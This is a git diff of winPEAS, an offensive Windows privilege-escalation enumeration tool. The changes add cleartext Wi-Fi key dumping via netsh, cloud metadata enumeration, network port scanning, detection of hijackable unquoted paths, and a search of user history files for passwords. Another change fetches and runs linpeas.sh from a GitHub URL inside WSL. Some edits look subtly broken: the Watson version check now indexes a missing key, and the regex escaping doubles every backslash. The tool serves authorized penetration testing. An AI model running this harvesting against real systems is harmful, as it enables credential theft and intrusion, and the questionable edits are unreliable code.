b/winPEAS/winPEASbat/README.md @@ -132,6 +132,3 @@ This is the kind of outpuf that you have to look for when usnig the winPEAS.bat ## Advisory All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission. - - -By Polop(TM) diff --git a/winPEAS/winPEASbat/winPEAS.bat b/winPEAS/winPEASbat/winPEAS.bat index 0d43701..5478eea 100755 --- a/winPEAS/winPEASbat/winPEAS.bat +++ b/winPEAS/winPEASbat/winPEAS.bat @@ -4,7 +4,7 @@ COLOR 0F CALL :SetOnce REM :: WinPEAS - Windows local Privilege Escalation Awesome Script -REM :: Code by PEASS-ng; Re-Write by ThisLimn0 +REM :: Code by carlospolop; Re-Write by ThisLimn0 REM Registry scan of other drives besides REM /////true or false @@ -46,7 +46,7 @@ CALL :ColorLine " %E%32m(((((((((. ,%E%92m(############################(%E%32m CALL :ColorLine " %E%32m(((((((((/, %E%92m,####################(%E%32m/..((((((((((.%E%97m" CALL :ColorLine " %E%32m(((((((((/,. %E%92m,*//////*,.%E%32m ./(((((((((((.%E%97m" CALL :ColorLine " %E%32m(((((((((((((((((((((((((((/%E%97m" -ECHO. by github.com/PEASS-ng +ECHO. by carlospolop ECHO. ECHO. @@ -363,7 +363,7 @@ CALL :T_Progress 1 :WifiCreds CALL :ColorLine " %E%33m[+]%E%97m WIFI" -for /f "tokens=3,* delims=: " %%a in ('netsh wlan show profiles ^| find "Profile "') do (netsh wlan show profiles name=%%b key=clear | findstr "SSID Cipher Content" | find /v "Number" & ECHO.) +for /f "tokens=4 delims=: " %%a in ('netsh wlan show profiles ^| find "Profile "') do (netsh wlan show profiles name=%%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & ECHO.) CALL :T_Progress 1 :BasicUserInfo diff --git a/winPEAS/winPEASexe/README.md b/winPEAS/winPEASexe/README.md index e80f09e..5f54578 100755 --- a/winPEAS/winPEASexe/README.md +++ b/winPEAS/winPEASexe/README.md @@ -178,6 +178,11 @@ Once you have installed and activated it you need to: - [x] DNS Cache (limit 70) - [x] Internet Settings +- **Cloud Metadata Enumeration** + - [x] AWS Metadata + - [x] GCP Metadata + - [x] Azure Metadata + - **Windows Credentials** - [x] Windows Vault - [x] Credential Manager @@ -256,6 +261,3 @@ If you find any issue, please report it using **[github issues](https://github.c ## Advisory All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission. - - -By Polop diff --git a/winPEAS/winPEASexe/Tests/SmokeTests.cs b/winPEAS/winPEASexe/Tests/SmokeTests.cs index 49525a3..9542bf8 100644 --- a/winPEAS/winPEASexe/Tests/SmokeTests.cs +++ b/winPEAS/winPEASexe/Tests/SmokeTests.cs @@ -12,7 +12,7 @@ namespace winPEAS.Tests try { string[] args = new string[] { - "systeminfo", "userinfo", "servicesinfo", "browserinfo", "eventsinfo", "debug" + "systeminfo", "userinfo", "servicesinfo", "browserinfo", "eventsinfo", "cloud", "debug" }; Program.Main(args); } diff --git a/winPEAS/winPEASexe/winPEAS/3rdParty/Watson/Watson.cs b/winPEAS/winPEASexe/winPEAS/3rdParty/Watson/Watson.cs index fbf64cc..307cf94 100644 --- a/winPEAS/winPEASexe/winPEAS/3rdParty/Watson/Watson.cs +++ b/winPEAS/winPEASexe/winPEAS/3rdParty/Watson/Watson.cs @@ -20,7 +20,7 @@ namespace winPEAS._3rdParty.Watson { { 10240, "1507" }, { 10586, "1511" }, { 14393, "1607" }, { 15063, "1703" }, { 16299, "1709" }, { 17134, "1803" }, { 17763, "1809" }, { 18362, "1903" }, { 18363, "1909" }, { 19041, "2004" }, - { 19042, "20H2" } + { 19042, "20H2" }, { 22000, "21H2" }, { 22621, "22H2" } }; // Get OS Build number @@ -30,7 +30,6 @@ namespace winPEAS._3rdParty.Watson if (!supportedVersions.ContainsKey(buildNumber)) { Console.Error.WriteLine($" [!] Windows version not supported, build number: '{buildNumber}'"); - return; } var version = supportedVersions[buildNumber]; @@ -39,7 +38,6 @@ namespace winPEAS._3rdParty.Watson else { Console.Error.WriteLine(" [!] Could not retrieve Windows BuildNumber"); - return; } // List of KBs installed diff --git a/winPEAS/winPEASexe/winPEAS/Checks/ApplicationsInfo.cs b/winPEAS/winPEASexe/winPEAS/Checks/ApplicationsInfo.cs index 7e75254..fed1fe3 100644 --- a/winPEAS/winPEASexe/winPEAS/Checks/ApplicationsInfo.cs +++ b/winPEAS/winPEASexe/winPEAS/Checks/ApplicationsInfo.cs @@ -117,6 +117,7 @@ namespace winPEAS.Checks { (app["Folder"].Length > 0) ? app["Folder"].Replace("\\", "\\\\").Replace("(", "\\(").Replace(")", "\\)").Replace("]", "\\]").Replace("[", "\\[").Replace("?", "\\?").Replace("+","\\+") : "ouigyevb2uivydi2u3id2ddf3", !string.IsNullOrEmpty(app["interestingFolderRights"]) ? Beaprint.ansi_color_bad : Beaprint.ansi_color_good }, { (app["File"].Length > 0) ? app["File"].Replace("\\", "\\\\").Replace("(", "\\(").Replace(")", "\\)").Replace("]", "\\]").Replace("[", "\\[").Replace("?", "\\?").Replace("+","\\+") : "adu8v298hfubibuidiy2422r", !string.IsNullOrEmpty(app["interestingFileRights"]) ? Beaprint.ansi_color_bad : Beaprint.ansi_color_good }, { (app["Reg"].Length > 0) ? app["Reg"].Replace("\\", "\\\\").Replace("(", "\\(").Replace(")", "\\)").Replace("]", "\\]").Replace("[", "\\[").Replace("?", "\\?").Replace("+","\\+") : "o8a7eduia37ibduaunbf7a4g7ukdhk4ua", (app["RegPermissions"].Length > 0) ? Beaprint.ansi_color_bad : Beaprint.ansi_color_good }, + { "Potentially sensitive file content:", Beaprint.ansi_color_bad }, }; string line = ""; @@ -158,9 +159,9 @@ namespace winPEAS.Checks line += "\n File: " + filepath_mod; } - if (app["isUnquotedSpaced"].ToLower() == "true") + if (app["isUnquotedSpaced"].ToLower() != "false") { - line += " (Unquoted and Space detected)"; + line += $" (Unquoted and Space detected) - {app["isUnquotedSpaced"]}"; } if (!string.IsNullOrEmpty(app["interestingFileRights"])) @@ -168,6 +169,11 @@ namespace winPEAS.Checks line += "\n FilePerms: " + app["interestingFileRights"]; } + if (app.ContainsKey("sensitiveInfoList") && !string.IsNullOrEmpty(app["sensitiveInfoList"])) + { + line += "\n Potentially sensitive file content: " + app["sensitiveInfoList"]; + } + Beaprint.AnsiPrint(line, colorsA); Beaprint.PrintLineSeparator(); } diff --git a/winPEAS/winPEASexe/winPEAS/Checks/Checks.cs b/winPEAS/winPEASexe/winPEAS/Checks/Checks.cs index 17e7e7e..45e67d4 100644 --- a/winPEAS/winPEASexe/winPEAS/Checks/Checks.cs +++ b/winPEAS/winPEASexe/winPEAS/Checks/Checks.cs @@ -3,12 +3,14 @@ using System.Collections.Generic; using System.IO; using System.Linq; using System.Management; +using System.Net; using System.Security.Principal; using winPEAS.Helpers; using winPEAS.Helpers.AppLocker; using winPEAS.Helpers.Registry; using winPEAS.Helpers.Search; using winPEAS.Helpers.YamlConfig; +using winPEAS.Info.NetworkInfo.NetworkScanner; using winPEAS.Info.UserInfo; namespace winPEAS.Checks @@ -21,8 +23,12 @@ namespace winPEAS.Checks public static bool IsDebug = false; public static bool IsLinpeas = false; public static bool IsLolbas = false; + public static bool IsNetworkScan = false; public static bool SearchProgramFiles = false; + private static IEnumerable PortScannerPorts = null; + private static string NetworkScanOptions = string.Empty; + // Create Dynamic blacklists public static readonly string CurrentUserName = Environment.UserName; public static string CurrentUserDomainName = Environment.UserDomainName; @@ -47,7 +53,7 @@ namespace winPEAS.Checks private static readonly HashSet _systemCheckSelectedKeysHashSet = new HashSet(); // github url for Linpeas.sh - public static string LinpeasUrl = "https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh"; + public static string LinpeasUrl = "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh"; public const string DefaultLogFile = "out.txt"; @@ -87,7 +93,8 @@ namespace winPEAS.Checks new SystemCheck("windowscreds", new WindowsCreds()), new SystemCheck("browserinfo", new BrowserInfo()), new SystemCheck("filesinfo", new FilesInfo()), - new SystemCheck("fileanalysis", new FileAnalysis()) + new SystemCheck("fileanalysis", new FileAnalysis()), + new SystemCheck("cloudinfo", new CloudInfo()) }; var systemCheckAllKeys = new HashSet(_systemChecks.Select(i => i.Key)); @@ -199,6 +206,52 @@ namespace winPEAS.Checks } } + if (arg.StartsWith("-network", StringComparison.CurrentCultureIgnoreCase)) + { + /* + -network="auto" - find interfaces/hosts automatically + -network="10.10.10.10,10.10.10.20" - scan only selected ip address(es) + -network="10.10.10.10/24" - scan host based on ip address/netmask + */ + if (!IsNetworkTypeValid(arg)) + { + Beaprint.ColorPrint($" [!] the \"-network\" argument is invalid. For help, run winpeass.exe --help", Beaprint.YELLOW); + + return; + } + + var parts = arg.Split('='); + string networkType = parts[1]; + + IsNetworkScan = true; + NetworkScanOptions = networkType; + } + + if (arg.StartsWith("-ports", StringComparison.CurrentCultureIgnoreCase)) + { + // e.g. -ports="80,443,8080" + var parts = arg.Split('='); + if (!IsNetworkScan || parts.Length != 2 || string.IsNullOrEmpty(parts[1])) + { + Beaprint.ColorPrint($" [!] the \"-network\" argument is not present or valid, add it if you want to define network scan ports. For help, run winpeass.exe --help", Beaprint.YELLOW); + + return; + } + + var portString = parts[1]; + IEnumerable ports = new List(); + try + { + PortScannerPorts = portString.Trim('"').Trim('\'').Split(',').ToList().ConvertAll(int.Parse); + } + catch (Exception) + { + Beaprint.ColorPrint($" [!] the \"-ports\" argument is not present or valid, add it if you want to define network scan ports. For help, run winpeass.exe --help", Beaprint.YELLOW); + + return; + } + } + string argToLower = arg.ToLower(); if (systemCheckAllKeys.Contains(argToLower)) { @@ -237,7 +290,7 @@ namespace winPEAS.Checks CheckRunner.Run(() => CreateDynamicLists(isFileSearchEnabled), IsDebug); - RunChecks(isAllChecks, wait); + RunChecks(isAllChecks, wait, IsNetworkScan); SearchHelper.CleanLists(); @@ -258,7 +311,58 @@ namespace winPEAS.Checks } } - private static void RunChecks(bool isAllChecks, bool wait) + private static bool IsNetworkTypeValid(string arg) + { + var parts = arg.Split('='); + string networkType = string.Empty; + + if (parts.Length == 2 && !string.IsNullOrEmpty(parts[1])) + { + networkType = parts[1]; + + // auto + if (string.Equals(networkType, "auto", StringComparison.InvariantCultureIgnoreCase)) + { + return true; + } + + // netmask e.g. 10.10.10.10/24 + else if (networkType.Contains("/")) + { + var rangeParts = networkType.Split('/'); + + if (rangeParts.Length == 2 && int.TryParse(rangeParts[1], out int res) && res <= 32 && res >= 0) + { + return true; + } + } + // list of ip addresses + else if (networkType.Contains(",")) + { + var ips = networkType.Split(','); + + try + { + var validIpsCount = ips.ToList().ConvertAll(IPAddress.Parse).Count(); + } + catch (Exception) + { + return false; + } + + return true; + } + // single ip + else if (IPAddress.TryParse(networkType, out _)) + { + return true; + } + } + + return false; + } + + private static void RunChecks(bool isAllChecks, bool wait, bool isNetworkScan) { for (int i = 0; i < _systemChecks.Count; i++) { @@ -274,6 +378,12 @@ namespace winPEAS.Checks } } } + + if (isNetworkScan) + { + NetworkScanner scanner = new NetworkScanner(NetworkScanOptions, PortScannerPorts); + scanner.Scan(); + } } private static void CreateDynamicLists(bool isFileSearchEnabled) diff --git a/winPEAS/winPEASexe/winPEAS/Checks/CloudInfo.cs b/winPEAS/winPEASexe/winPEAS/Checks/CloudInfo.cs new file mode 100644 index 0000000..bf1dc37 --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/Checks/CloudInfo.cs @@ -0,0 +1,93 @@ +using System.Collections.Generic; +using winPEAS.Helpers; +using winPEAS.Info.CloudInfo; + +namespace winPEAS.Checks +{ + internal class CloudInfo : ISystemCheck + { + public void PrintInfo(bool isDebug) + { + Beaprint.GreatPrint("Cloud Information"); + + var cloudInfoList = new List + { + new AWSInfo(), + new AzureInfo(), + new GCPInfo() + }; + + foreach (var cloudInfo in cloudInfoList) + { + string isCloud = cloudInfo.IsCloud ? "Yes" : "No"; + string line = string.Format($"{cloudInfo.Name + "?",-40}{isCloud,-5}"); + + Dictionary colorsMS = new Dictionary() + { + { "Yes", Beaprint.ansi_color_bad }, + }; + Beaprint.AnsiPrint(line, colorsMS); + } + + foreach (var cloudInfo in cloudInfoList) + { + if (cloudInfo.IsCloud) + { + Beaprint.MainPrint(cloudInfo.Name + " Enumeration"); + + if (cloudInfo.IsAvailable) + { + foreach (var kvp in cloudInfo.EndpointDataList()) + { + // key = "section", e.g. User, Network, ... + string section = kvp.Key; + var endpointDataList = kvp.Value; + + Beaprint.ColorPrint(section, Beaprint.ansi_color_good); + + foreach (var endpointData in endpointDataList) + { + var colors = new Dictionary + { + { endpointData.EndpointName, Beaprint.GRAY } + }; + + string message; + if (!string.IsNullOrEmpty(endpointData.Data)) + { + message = endpointData.Data; + // if it is a JSON data, add additional newline so it's displayed on a separate line + if (message.StartsWith("{")) + { + message = $"\n{message}\n"; + } + + if (endpointData.IsAttackVector) + { + colors.Add(message, Beaprint.ansi_color_bad); + } + else + { + colors.Add(message, Beaprint.ansi_color_gray); + } + } + else + { + message = "No data received from the metadata endpoint"; + } + + Beaprint.ColorPrint($"{endpointData.EndpointName,-30}{message}", Beaprint.ansi_color_gray); + } + + Beaprint.GrayPrint(""); + } + } + else + { + Beaprint.NoColorPrint("Could not connect to the metadata endpoint"); + } + } + } + } + } +} diff --git a/winPEAS/winPEASexe/winPEAS/Checks/FileAnalysis.cs b/winPEAS/winPEASexe/winPEAS/Checks/FileAnalysis.cs index 3da86fd..b440757 100644 --- a/winPEAS/winPEASexe/winPEAS/Checks/FileAnalysis.cs +++ b/winPEAS/winPEASexe/winPEAS/Checks/FileAnalysis.cs @@ -1,4 +1,4 @@ -using System; +using System; using System.Collections.Generic; using System.Diagnostics; using System.IO; @@ -97,9 +97,19 @@ namespace winPEAS.Checks else { foreach (var fold in file.FullPath.Split('\\').Skip(1)) - { - isFileFound = Regex.IsMatch(fold, pattern, RegexOptions.IgnoreCase); - if (isFileFound) break; + { + try + { + isFileFound = Regex.IsMatch(fold, pattern, RegexOptions.IgnoreCase, TimeSpan.FromSeconds(20)); + if (isFileFound) break; + } + catch (RegexMatchTimeoutException e) + { + if (Checks.IsDebug) + { + Beaprint.GrayPrint($"The file in folder regex {pattern} had a timeout in {fold} (ReDoS avoided but regex unchecked in a file)"); + } + } } } } @@ -111,7 +121,17 @@ namespace winPEAS.Checks } else { - isFileFound = Regex.IsMatch(file.Filename, pattern, RegexOptions.IgnoreCase); + try + { + isFileFound = Regex.IsMatch(file.Filename, pattern, RegexOptions.IgnoreCase, TimeSpan.FromSeconds(20)); + } + catch (RegexMatchTimeoutException e) + { + if (Checks.IsDebug) + { + Beaprint.GrayPrint($"The file regex {pattern} had a timeout in {file.Filename} (ReDoS avoided but regex unchecked in a file)"); + } + } } } @@ -148,7 +168,7 @@ namespace winPEAS.Checks return new bool[] { false, somethingFound }; } - private static List SearchContent(string text, string regex_str, bool caseinsensitive) + public static List SearchContent(string text, string regex_str, bool caseinsensitive) { List foundMatches = new List(); @@ -157,17 +177,20 @@ namespace winPEAS.Checks Regex rgx; bool is_re_match = false; try - { + { + // Escape backslashes in the regex string + string escapedRegex = regex_str.Trim().Replace(@"\", @"\\"); + // Use "IsMatch" because it supports timeout, if exception is thrown exit the func to avoid ReDoS in "rgx.Matches" if (caseinsensitive) { - is_re_match = Regex.IsMatch(text, regex_str.Trim(), RegexOptions.IgnoreCase, TimeSpan.FromSeconds(120)); - rgx = new Regex(regex_str.Trim(), RegexOptions.IgnoreCase); + is_re_match = Regex.IsMatch(text, escapedRegex, RegexOptions.IgnoreCase, TimeSpan.FromSeconds(120)); + rgx = new Regex(escapedRegex, RegexOptions.IgnoreCase); } else { - is_re_match = Regex.IsMatch(text, regex_str.Trim(), RegexOptions.None, TimeSpan.FromSeconds(120)); - rgx = new Regex(regex_str.Trim()); + is_re_match = Regex.IsMatch(text, escapedRegex, RegexOptions.None, TimeSpan.FromSeconds(120)); + rgx = new Regex(escapedRegex); } } catch (RegexMatchTimeoutException e) @@ -200,8 +223,6 @@ namespace winPEAS.Checks Beaprint.GrayPrint($"Error looking for regex {regex_str} inside files: {e}"); } - //} - return foundMatches; } @@ -444,7 +465,7 @@ namespace winPEAS.Checks foundRegexes[regex_obj.name][regex.name] = fileResults; } } - catch (Exception ex) + catch (System.IO.IOException) { // Cannot read the file } @@ -454,8 +475,8 @@ namespace winPEAS.Checks timer.Stop(); TimeSpan timeTaken = timer.Elapsed; - if (timeTaken.TotalMilliseconds > 20000) - Beaprint.PrintDebugLine($"\nThe regex {regex.regex} took {timeTaken.TotalMilliseconds}s in {f.FullPath}"); + if (timeTaken.TotalMilliseconds > 10000) + Beaprint.PrintDebugLine($"\nThe regex {regex.regex} took {timeTaken.TotalMilliseconds}ms in {f.FullPath}"); } } } diff --git a/winPEAS/winPEASexe/winPEAS/Checks/FilesInfo.cs b/winPEAS/winPEASexe/winPEAS/Checks/FilesInfo.cs index 2513936..b6974f9 100644 --- a/winPEAS/winPEASexe/winPEAS/Checks/FilesInfo.cs +++ b/winPEAS/winPEASexe/winPEAS/Checks/FilesInfo.cs @@ -290,15 +290,13 @@ namespace winPEAS.Checks const string distribution = "Distribution"; const string rootDirectory = "Root directory"; const string runWith = "Run command"; + const string wslUser = "WSL user"; + const string root = "root"; + var colors = new Dictionary(); - new List - { - linpeas, - distribution, - rootDirectory, - runWith - }.ForEach(str => colors.Add(str, Beaprint.ansi_color_bad)); + new List { linpeas, distribution, rootDirectory, runWith, wslUser, root } + .ForEach(str => colors.Add(str, Beaprint.ansi_color_bad)); Beaprint.BadPrint(" Found installed WSL distribution(s) - listed below"); Beaprint.AnsiPrint($" Run {linpeas} in your WSL distribution(s) home folder(s).\n", colors); @@ -310,14 +308,16 @@ namespace winPEAS.Checks string distributionSubKey = $"{basePath}\\{wslKey}"; string distributionRootDirectory = $"{RegistryHelper.GetRegValue(hive, distributionSubKey, "BasePath")}\\rootfs"; string distributionName = RegistryHelper.GetRegValue(hive, distributionSubKey, "DistributionName"); + string user = WSLHelper.TryGetRootUser(distributionName, wslKey); Beaprint.AnsiPrint($" {distribution}: \"{distributionName}\"\n" + + $" {wslUser}: \"{user}\"\n" + $" {rootDirectory}: \"{distributionRootDirectory}\"\n" + $" {runWith}: wsl.exe --distribution \"{distributionName}\"", colors); Beaprint.PrintLineSeparator(); } - catch (Exception) { } + catch (Exception ex) { } } // try to run linpeas.sh in the default distribution @@ -328,7 +328,7 @@ namespace winPEAS.Checks { try { - WSL.RunLinpeas(Checks.LinpeasUrl); + WSLHelper.RunLinpeas(Checks.LinpeasUrl); } catch (Exception ex) { diff --git a/winPEAS/winPEASexe/winPEAS/Checks/ProcessInfo.cs b/winPEAS/winPEASexe/winPEAS/Checks/ProcessInfo.cs index d1a6b14..a6d4ced 100644 --- a/winPEAS/winPEASexe/winPEAS/Checks/ProcessInfo.cs +++ b/winPEAS/winPEASexe/winPEAS/Checks/ProcessInfo.cs @@ -36,11 +36,14 @@ namespace winPEAS.Checks { "Possible DLL Hijacking.*", Beaprint.ansi_color_bad }, }; - if (DefensiveProcesses.Definitions.ContainsKey(procInfo["Name"])) + // we need to find first occurrence of the procinfo name + string processNameSanitized = procInfo["Name"].Trim().ToLower(); + + if (DefensiveProcesses.AVVendorsByProcess.ContainsKey(processNameSanitized)) { - if (!string.IsNullOrEmpty(DefensiveProcesses.Definitions[procInfo["Name"]])) + if (DefensiveProcesses.AVVendorsByProcess[processNameSanitized].Count > 0) { - procInfo["Product"] = DefensiveProcesses.Definitions[procInfo["Name"]]; + procInfo["Product"] = string.Join(", ", DefensiveProcesses.AVVendorsByProcess[processNameSanitized]); } colorsP[procInfo["Product"]] = Beaprint.ansi_color_good; } diff --git a/winPEAS/winPEASexe/winPEAS/Checks/SystemInfo.cs b/winPEAS/winPEASexe/winPEAS/Checks/SystemInfo.cs index ab046f5..d8950b0 100644 --- a/winPEAS/winPEASexe/winPEAS/Checks/SystemInfo.cs +++ b/winPEAS/winPEASexe/winPEAS/Checks/SystemInfo.cs @@ -387,8 +387,7 @@ namespace winPEAS.Checks static void PrintCachedCreds() { - try - { + try{ Beaprint.MainPrint("Cached Creds"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/stealing-credentials/credentials-protections#cached-credentials", "If > 0, credentials will be cached in the registry and accessible by SYSTEM user"); string cachedlogonscount = RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", "CACHEDLOGONSCOUNT"); diff --git a/winPEAS/winPEASexe/winPEAS/Helpers/Beaprint.cs b/winPEAS/winPEASexe/winPEAS/Helpers/Beaprint.cs index ce11f8d..8cbc17e 100644 --- a/winPEAS/winPEASexe/winPEAS/Helpers/Beaprint.cs +++ b/winPEAS/winPEASexe/winPEAS/Helpers/Beaprint.cs @@ -81,6 +81,7 @@ namespace winPEAS.Helpers /---------------------------------------------------------------------------------\ | {1}Do you like PEASS?{0} | |---------------------------------------------------------------------------------| + | {3}Get the latest version{0} : {2}https://github.com/sponsors/carlospolop{0} | | {3}Follow on Twitter{0} : {2}@hacktricks_live{0} | | {3}Respect on HTB{0} : {2}SirBroccoli {0} | |---------------------------------------------------------------------------------| @@ -132,6 +133,7 @@ namespace winPEAS.Helpers Console.WriteLine(LCYAN + " filesinfo" + GRAY + " Search generic files that can contains credentials" + NOCOLOR); Console.WriteLine(LCYAN + " fileanalysis" + GRAY + " Search specific files that can contains credentials and for regexes inside files" + NOCOLOR); Console.WriteLine(LCYAN + " eventsinfo" + GRAY + " Display interesting events information" + NOCOLOR); + Console.WriteLine(LCYAN + " cloudinfo" + GRAY + " Enumerate cloud information" + NOCOLOR); Console.WriteLine(); Console.WriteLine(LCYAN + " quiet" + GRAY + " Do not print banner" + NOCOLOR); Console.WriteLine(LCYAN + " notcolor" + GRAY + " Don't use ansi colors (all white)" + NOCOLOR); @@ -146,6 +148,11 @@ namespace winPEAS.Helpers Console.WriteLine(LCYAN + " -lolbas" + GRAY + $" Run additional LOLBAS check" + NOCOLOR); Console.WriteLine(LCYAN + " -linpeas=[url]" + GRAY + $" Run additional linpeas.sh check for default WSL distribution, optionally provide custom linpeas.sh URL\n" + $" (default: {Checks.Checks.LinpeasUrl})" + NOCOLOR); + Console.WriteLine(LCYAN + " -network" + GRAY + $" Run additional network scanning - find network interfaces, hosts and scan nmap top 1000 TCP ports for each host found\n" + + $" -network=\"auto\" - find interfaces/hosts automatically" + NOCOLOR + "\n" + + $" -network=\"10.10.10.10,10.10.10.20\" - scan only selected ip address(es)" + NOCOLOR + "\n" + + $" -network=\"10.10.10.10/24\" - scan host based on ip address/netmask" + NOCOLOR + "\n" + + $" -ports=\"80,443,8080\" - If a list of ports is provided, use this list instead of the nmap top 1000 TCP" + NOCOLOR); } @@ -290,8 +297,7 @@ namespace winPEAS.Helpers string value = entry.Value; string key = entry.Key; - string line = ""; - + string line; if (!no_gray) { line = ansi_color_gray + " " + key + ": " + NOCOLOR + value; diff --git a/winPEAS/winPEASexe/winPEAS/Helpers/MyUtils.cs b/winPEAS/winPEASexe/winPEAS/Helpers/MyUtils.cs index a905c08..c183446 100644 --- a/winPEAS/winPEASexe/winPEAS/Helpers/MyUtils.cs +++ b/winPEAS/winPEASexe/winPEAS/Helpers/MyUtils.cs @@ -122,6 +122,51 @@ namespace winPEAS.Helpers return binaryPath; } + public static bool CheckQuoteAndSpaceWithPermissions(string path, out List injectablePaths) + { + List result = new List(); + bool isInjectable = false; + + if (!path.Contains('"') && !path.Contains("'")) + { + if (path.Contains(" ")) + { + string currentPath = string.Empty; + foreach (var pathPart in Regex.Split(path, @"\s")) + { + currentPath += pathPart + " "; + + if (File.Exists(currentPath) || Directory.Exists(currentPath)) + { + var permissions = PermissionsHelper.GetPermissionsFolder(currentPath, Checks.Checks.CurrentUserSiDs, PermissionType.WRITEABLE_OR_EQUIVALENT); + + if (permissions.Any()) + { + result.Add(currentPath); + isInjectable = true; + } + } + else + { + var firstPathPart = currentPath; + DirectoryInfo di = new DirectoryInfo(firstPathPart); + var exploitablePath = di.Parent.FullName; + var folderPermissions = PermissionsHelper.GetPermissionsFolder(exploitablePath, Checks.Checks.CurrentUserSiDs, PermissionType.WRITEABLE_OR_EQUIVALENT); + + if (folderPermissions.Any()) + { + result.Add(exploitablePath); + isInjectable = true; + }; + } + } + } + } + + injectablePaths = result.Select(i => i).Distinct().ToList(); + return isInjectable; + } + public static bool CheckQuoteAndSpace(string path) { if (!path.Contains('"') && !path.Contains("'")) diff --git a/winPEAS/winPEASexe/winPEAS/Helpers/Registry/RegistryHelper.cs b/winPEAS/winPEASexe/winPEAS/Helpers/Registry/RegistryHelper.cs index 51f0d15..7e76194 100644 --- a/winPEAS/winPEASexe/winPEAS/Helpers/Registry/RegistryHelper.cs +++ b/winPEAS/winPEASexe/winPEAS/Helpers/Registry/RegistryHelper.cs @@ -24,6 +24,40 @@ namespace winPEAS.Helpers.Registry return Microsoft.Win32.Registry.LocalMachine.OpenSubKey(path); } + public static bool WriteRegValue(string hive, string path, string keyName, string value) + { + try + { + RegistryKey regKey; + if (hive == "HKCU") + { + regKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(path); + } + else if (hive == "HKU") + { + regKey = Microsoft.Win32.Registry.Users.OpenSubKey(path); + + } + else + { + regKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(path); + } + + if (regKey == null) + { + return false; + } + + regKey.SetValue(keyName, value, RegistryValueKind.String); + } + catch (Exception ex) + { + return false; + } + + return true; + } + public static string GetRegValue(string hive, string path, string value) { // returns a single registry value under the specified path in the specified hive (HKLM/HKCU) diff --git a/winPEAS/winPEASexe/winPEAS/Info/ApplicationInfo/AutoRuns.cs b/winPEAS/winPEASexe/winPEAS/Info/ApplicationInfo/AutoRuns.cs index d064d7d..cd106a2 100644 --- a/winPEAS/winPEASexe/winPEAS/Info/ApplicationInfo/AutoRuns.cs +++ b/winPEAS/winPEASexe/winPEAS/Info/ApplicationInfo/AutoRuns.cs @@ -5,8 +5,10 @@ using System.IO; using System.Linq; using System.Management; using System.Text.RegularExpressions; +using winPEAS.Checks; using winPEAS.Helpers; using winPEAS.Helpers.Registry; +using winPEAS.Helpers.YamlConfig; namespace winPEAS.Info.ApplicationInfo { @@ -256,6 +258,9 @@ namespace winPEAS.Info.ApplicationInfo { } + var injectablePaths = new List(); + var isUnquotedSpaced = MyUtils.CheckQuoteAndSpaceWithPermissions(filepath, out injectablePaths); + results.Add(new Dictionary() { {"Reg", autorunLocation[0] + "\\" + autorunLocation[1]}, @@ -274,7 +279,7 @@ namespace winPEAS.Info.ApplicationInfo "interestingFileRights", orig_filepath.Length > 1 ? string.Join(", ", PermissionsHelper.GetPermissionsFile(orig_filepath, Checks.Checks.CurrentUserSiDs)) : "" }, - {"isUnquotedSpaced", MyUtils.CheckQuoteAndSpace(filepath).ToString()} + {"isUnquotedSpaced", isUnquotedSpaced ? string.Join(",", injectablePaths) : "false" } }); } } @@ -299,6 +304,9 @@ namespace winPEAS.Info.ApplicationInfo orig_filepath = Environment.ExpandEnvironmentVariables(orig_filepath).Replace("'", "").Replace("\"", ""); string folder = Path.GetDirectoryName(orig_filepath); + var injectablePaths = new List(); + var isUnquotedSpaced = MyUtils.CheckQuoteAndSpaceWithPermissions(orig_filepath, out injectablePaths); + results.Add(new Dictionary() { {"Reg", autorunLocation[0] + "\\" + reg}, @@ -317,7 +325,7 @@ namespace winPEAS.Info.ApplicationInfo "interestingFileRights", orig_filepath.Length > 1 ? string.Join(", ", PermissionsHelper.GetPermissionsFile(orig_filepath, Checks.Checks.CurrentUserSiDs)) : "" }, - {"isUnquotedSpaced", MyUtils.CheckQuoteAndSpace(orig_filepath).ToString()} + {"isUnquotedSpaced", isUnquotedSpaced ? string.Join(",", injectablePaths) : "false" } }); } } @@ -342,6 +350,12 @@ namespace winPEAS.Info.ApplicationInfo string usersPath = Path.Combine(Environment.GetEnvironmentVariable(@"USERPROFILE")); usersPath = Directory.GetParent(usersPath).FullName; + var config = YamlConfigHelper.GetWindowsSearchConfig(); + var pwdInsideHistory = config.variables.FirstOrDefault(v => v.name.Equals("pwd_inside_history", StringComparison.InvariantCultureIgnoreCase)).value; + // add .* around each element to match the whole line + var items = pwdInsideHistory.Split('|').Select(v => $".*{v}.*"); + pwdInsideHistory = string.Join("|", items); + try { if (Directory.Exists(usersPath)) @@ -373,6 +387,14 @@ namespace winPEAS.Info.ApplicationInfo foreach (string filepath in files) { + var fileContent = File.ReadAllText(filepath); + var sensitiveInfoList = FileAnalysis.SearchContent(fileContent, pwdInsideHistory, false); + // remove all non-printable and control characters + sensitiveInfoList = sensitiveInfoList.Select(s => s = Regex.Replace(s, @"\p{C}+", string.Empty)).ToList(); + + var injectablePaths = new List(); + var isUnquotedSpaced = MyUtils.CheckQuoteAndSpaceWithPermissions(filepath, out injectablePaths); + string folder = Path.GetDirectoryName(filepath); results.Add(new Dictionary() { { "Reg", "" }, @@ -383,7 +405,8 @@ namespace winPEAS.Info.ApplicationInfo { "isWritableReg", ""}, { "interestingFolderRights", string.Join(", ", PermissionsHelper.GetPermissionsFolder(folder, Checks.Checks.CurrentUserSiDs))}, { "interestingFileRights", string.Join(", ", PermissionsHelper.GetPermissionsFile(filepath, Checks.Checks.CurrentUserSiDs))}, - { "isUnquotedSpaced", MyUtils.CheckQuoteAndSpace(path).ToString() } + {"isUnquotedSpaced", isUnquotedSpaced ? string.Join(",", injectablePaths) : "false" }, + { "sensitiveInfoList", string.Join(", ", sensitiveInfoList) }, 